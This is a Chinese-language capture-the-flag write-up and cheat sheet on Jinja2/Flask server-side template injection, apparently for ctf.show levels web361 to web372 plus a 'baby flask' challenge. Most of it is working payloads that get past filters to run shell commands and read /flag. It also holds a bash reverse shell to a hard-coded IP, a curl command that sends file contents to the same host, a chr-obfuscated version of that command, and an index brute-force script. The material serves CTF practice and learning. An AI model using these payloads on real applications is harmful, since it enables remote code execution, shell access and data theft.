ssti常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类(除object),以元组形式,类型的实例通常没有属性。 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的所有子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以调用当前脚本中的函数,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__.os.popen('ls').read()}}
current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)

config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
self.__dict__ 保存当前类实例或对象实例的属性变量键值对字典,
{%print("DMIND")%} 控制语句中也能输出

拼接字符:{% set ind=dict(ind=a,ex=a)|join%} 变量ind=index
获取字符:{{lipsum|string|list|attr('pop')(18)}} 相当于:lipsum|string|list|attr('pop')(18) 输出:_(下划线)
得到数字:{{lipsum|string|list|attr('index')('g')}} 相当于lipsum|string|list|attr('index')('g') 输出:10
运算出其他数字:{% set shiba=ten%2bten-two %} %2b是URL编码后的加号

得到数字:{{dict(a=a)|lower|list|count}}得到16
运算出其他数字:{{dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count}}得到1

得到任意字符:{{dict(dmind=a)|slice(1)|first|first}}得到dmind

获取__builtins__属性:{{lipsum.__globals__|attr('get')('__builtins__')}} 利用get()、pop()获取属性,相当于lipsum.__globals__.get('__builtins__')

lipsum.__globals__.__builtins__ 相当于 lipsum|attr('__globals__')|attr('get')('__builtins__')
lipsum.__globals__.__builtins__.chr(95) 相当于 lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('chr')(95)

得到chr函数:{%set chr=lipsum.__globals__.__builtins__.chr%}
利用chr()得到字符:{{chr(47)~chr(32)}} 47是/ 32是空格 ~是连接符

利用os执行命令:lipsum.__globals__.os.popen('dir').read() 相当于 lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('dir')|attr('read')()
类似的 url_for['__globals__']['os']['popen']('dir').read()

简单的读取文件:url_for["__globa"+"ls__"].__builtins__.open("flag.txt").read()

在能执行eval情况下:eval(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

ssti常用过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
attr(): attr用于获取变量
(过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器)
""|attr("__class__")
相当于
"".__class__

dict(po=ll,p=abc)|join :连接键名,拼接得到pop

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

ssti_fuzz

web361_(入门ssti)

啥都没有过滤,所以可以用很多方法

1
2
3
4
5
6
7
{{url_for.__globals__.os.popen('cat /flag').read()}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

{{().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
1
2
3
4
5
6
7
8
9
10
11
12
import requests

url_base = "http://26ecb42c-4859-430a-8b81-7476a70fba72.challenge.ctf.show?name="

for i in range(500):
url = url_base +"{{''.__class__.__base__.__subclasses__()["+str(i)+"]}}"
response = requests.get(url=url)
if response.status_code == 200:
if 'os._wrap_close' in response.text:
print(i)
break
print(i)
1
{{().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen("bash -c \'bash -i >& /dev/tcp/81.71.13.76/5050 0>&1\'").read()')}}

web362_(数字)

可以用全角绕过过滤的数字,也可以使用不用数字的payload

1
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363_(‘ “)

利用requst.arg绕过

1
{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=cat /flag

web364_(‘ “ args)

利用request.cookie绕过

1
2
3
{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__[request.cookies.popen](request.cookies.cmd).read()}}

Cookie:popen=popen;cmd=cat /flag

web365_([ ])

增加过滤了**[ ]**,可以用__getitem()__绕过

1
2
3
4
5
6
7
8
9
().__class__.__mro__.__getitem__(-1)

{{().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.popen)(request.cookies.cmd).read()}}

Cookie:cmd=cat /flag;popen=popen
=============================================================
{{url_for.__globals__.os.popen(request.cookies.cmd).read()}}

Cookie:cmd=cat /flag

web366_(下划线)

利用attr过滤器绕过

1
2
3
4
{{lipsum.__globals__.os.popen('ls').read()}}

{{(lipsum|attr(request.cookies.globals)).os.popen(reqeuest.cookies.cmd).read()}}
Cookie:cmd=cat /flag;globals=__globals__

web367_(os)

过滤了字符os,那就把os写到request里面就行了

1
2
3
4
5
x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")

{{(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem))(request.cookies.builtins).eval(request.cookies.cmd)}}

Cookie:init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;cmd=__import__('os').popen('cat /flag').read()

web368_(大括号)

过滤了{{,}},可以用{% %}

使用request.values.xvalues可以接受GET和POST形式的传参,注意get(request.values.b)中的get根据你的传参方式来的

1
2
3
4
{% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}
&a=__globals__
&b=os
&c=cat /flag

web369_(request)

过滤了request,利用dict()|join拼接我们需要的字符

1
2
3
4
5
6
7
8
9
10
{% set po=dict(po=a,p=a)|join%}  	# dict()|join 拼接键名的方式,此处得到变量po=pop
{% set a=(()|select|string|list)|attr(po)(24)%} #通过pop(24)选择到“_”下划线并赋值给a
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} #ini=__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} #glo=__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} #geti=__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} #built=__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} #x=q.__init__.__globals__.__getitem__('__builtins__')
{% set chr=x.chr%} #chr=x.chr 选择到了chr函数,chr=<built-in function chr>
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} #结合ASCII和chr函数构造。file=/flag
{%print(x.open(file).read())%} #利用open函数读取

web370_(0-9)

将上一题的数字用全角替换

1
2
3
4
5
6
7
8
9
10
{% set po=dict(po=a,p=a)|join%}  	
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

也可以用count或者length

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set two=(dict(aa=a)|join|count)%}
{% set three=(dict(aaa=a)|join|count)%}
{% set four=(dict(aaaa=a)|join|count)%}
{% set seven=(dict(aaaaaaa=a)|join|count)%}
{% set eight=(dict(aaaaaaaa=a)|join|count)%}
{% set nine=(dict(aaaaaaaaa=a)|join|count)%}
{% set ten=(dict(aaaaaaaaaa=a)|join|count)%}
{% set twofour=( two~four)|int%}
{% set a=(()|select|string|list).pop(twofour)%}
{% set globals=(a,a,dict(globals=s)|join,a,a)|join%}
{% set init=(a,a,dict(init=v)|join,a,a)|join%}
{% set builtins=(a,a,dict(builtins=c)|join,a,a)|join%}
{% set a=(lipsum|attr(globals)).get(builtins)%}
{% set chr=a.chr%}
{% print a.open(chr((four~seven)|int)~chr((ten~two)|int)~chr((ten~eight)|int)~chr((nine~seven)|int)~chr((ten~three)|int)).read()%}

web371_(print)

过滤了print,将flag内容发送到vps

1
2
3
4
5
6
7
8
9
10
11
s='__import__("os").popen("curl http://81.71.13.76:5555?p=`cat /flag`").read()'
def fun(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+(str(ord(s[i])))+')%2b'
else:
t+='chr('+(str(ord(s[i])))+')'
return t
print(fun(s))
#再将数字转成全角
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set po=dict(po=a,p=a)|join%}  	
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(34)%2bchr(111)%2bchr(115)%2bchr(34)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(34)%2bchr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(56)%2bchr(49)%2bchr(46)%2bchr(55)%2bchr(49)%2bchr(46)%2bchr(49)%2bchr(51)%2bchr(46)%2bchr(55)%2bchr(54)%2bchr(58)%2bchr(53)%2bchr(53)%2bchr(53)%2bchr(53)%2bchr(63)%2bchr(112)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(96)%2bchr(34)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)

%}
{%if x.eval(cmd)%}
abc
{%endif%}

web372_(count)

用上一题的将数字变成全角的payload照样可以,

补充

baby flask

1
2
3
4
5
'.','[','\'','"',''\\','+',':','_',</br>   
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'

这道题的特点是过滤了数字和cont和length,怎么得到数字呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{% set test=(()|select|string|list)%}
{% print(test) %}
输出如下:
['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '5', 'c', '7', 'b', '5', 'b', '9', 'b', 'a', '0', '>']

{% set test=(()|select|string|list).index('e')%}
{% print(test) %}
输出如下:
2

为什么是2呢?其实index('e')就是表示e在列表中的索引,问题又来了,想要得到值100或1000,想要得到更大的值怎么办呢,
可以用运算符号
比如输出如下

{% set test=(()|select|string|list).index('e')%}
{% print(test*test) %}
输出如下:
4

贴一下wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{% set id=dict(ind=a,ex=a)|join%}
{% set pp=dict(po=a,p=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set cr=dict(ch=a,r=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set ooqq=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %}
{% set three=(lipsum|string|list)|attr(id)(nn) %}
{% set one=(lipsum|string|list)|attr(id)(ff) %}
{% set shiba=five*five-three-three-one %}
{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}
{% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}